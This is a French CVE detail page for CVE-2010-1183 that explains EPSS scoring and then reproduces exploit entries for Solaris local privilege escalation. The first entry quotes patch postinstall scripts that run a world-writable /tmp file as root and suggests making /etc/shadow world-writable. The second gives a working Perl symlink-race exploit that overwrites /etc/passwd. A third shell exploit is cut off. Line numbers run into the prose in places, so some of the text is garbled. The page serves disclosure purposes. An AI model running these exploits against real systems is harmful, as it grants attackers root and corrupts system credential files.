CVE-2010-1183 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Solaris Recommended Patch Cluster 6/19 local root on x86 Larry W. Cashdollar 7/3/2013 @_larry0 If the system administrator is updating the system using update manager or smpatch (multi user mode) a local user could execute commands as root. This only affects x86 systems as this code resides under a case statement checking that the platform is intel based. Local root: Write to /tmp/diskette_rc.d/rcs9.sh before execution and you can execute commands as root. ./144751-01/SUNWos86r/install/postinstall 782 if [ -s /tmp/disketterc.d/rcs9.sh ] 783 then 784 /sbin/sh /tmp/disketterc.d/rcs9.sh "post" 785 fi Inject entries into driver_aliases, research config file? maybe we can load our own library/driver? 804 # Remove erroneous entry for Symbios Logic 53c875/95 (ncrs) 805 TMPFILE=/tmp/ncrstmp 806 sed -e '/^ncrs "pci1000,1000"$/d' ${BASEDIR}/etc/driveraliases >$TMPFIL E 807 cp $TMPFILE ${BASEDIR}/etc/driver_aliases ./141445-09/SUNWos86r/install/postinstall 656 if [ -s /tmp/disketterc.d/rcs9.sh ] 657 then 658 /sbin/sh /tmp/disketterc.d/rcs9.sh "post" 659 fi Well, it looks like you've got a few chances to abuse it: larry@slowaris:~/10x86Recommended/patches$ find . -name "*install" -type f -exec grep -l "/sbin/sh /tmp/diskette_rc.d/rcs9.sh" {} \; ./144501-19/SUNWos86r/install/postinstall ./141445-09/SUNWos86r/install/postinstall ./142059-01/SUNWos86r/install/postinstall ./147148-26/SUNWos86r/install/postinstall ./127128-11/SUNWos86r/install/postinstall ./148889-03/SUNWos86r/install/postinstall ./142910-17/SUNWos86r/install/postinstall ./144751-01/SUNWos86r/install/postinstall Psuedo PoC: Depending on how rcs9.sh is created, we can either write to it repeatedly or just create the file initially with our malicious entry. chmod 666 /etc/shadow would be easy.

source: https://www.securityfocus.com/bid/54919/info Solaris 10 Patch 137097-01 is prone to a local privilege-escalation vulnerability. Local attackers can exploit this issue to gain elevated privileges on affected computers. #!/usr/bin/perl $clobber = "/etc/passwd"; while(1) { open ps,"ps -ef | grep -v grep |grep -v PID |"; while(<ps>) { @args = split " ", $_; if (/inetd-upgrade/) { print "Symlinking iconf_entries.$args[1] to $clobber\n"; symlink($clobber,"/tmp/iconf_entries.$args[1]"); exit(1); } } }

source: https://www.securityfocus.com/bid/38928/info Sun Connection Update Manager for Solaris creates temporary files in an insecure manner. An attacker with local access could potentially exploit these issues to perform symbolic-link attacks, overwriting arbitrary files in the context of the affected application. Successfully mounting a symlink attack may allow the attacker to overwrite or corrupt sensitive files, which may result in a denial-of-service or privilege escalation. Other attacks may also be possible. These issues affect unknown versions of the application. In addition, these issues may affect certain Solaris patch clusters or individual patch releases. #!/bin/sh #Larry W.
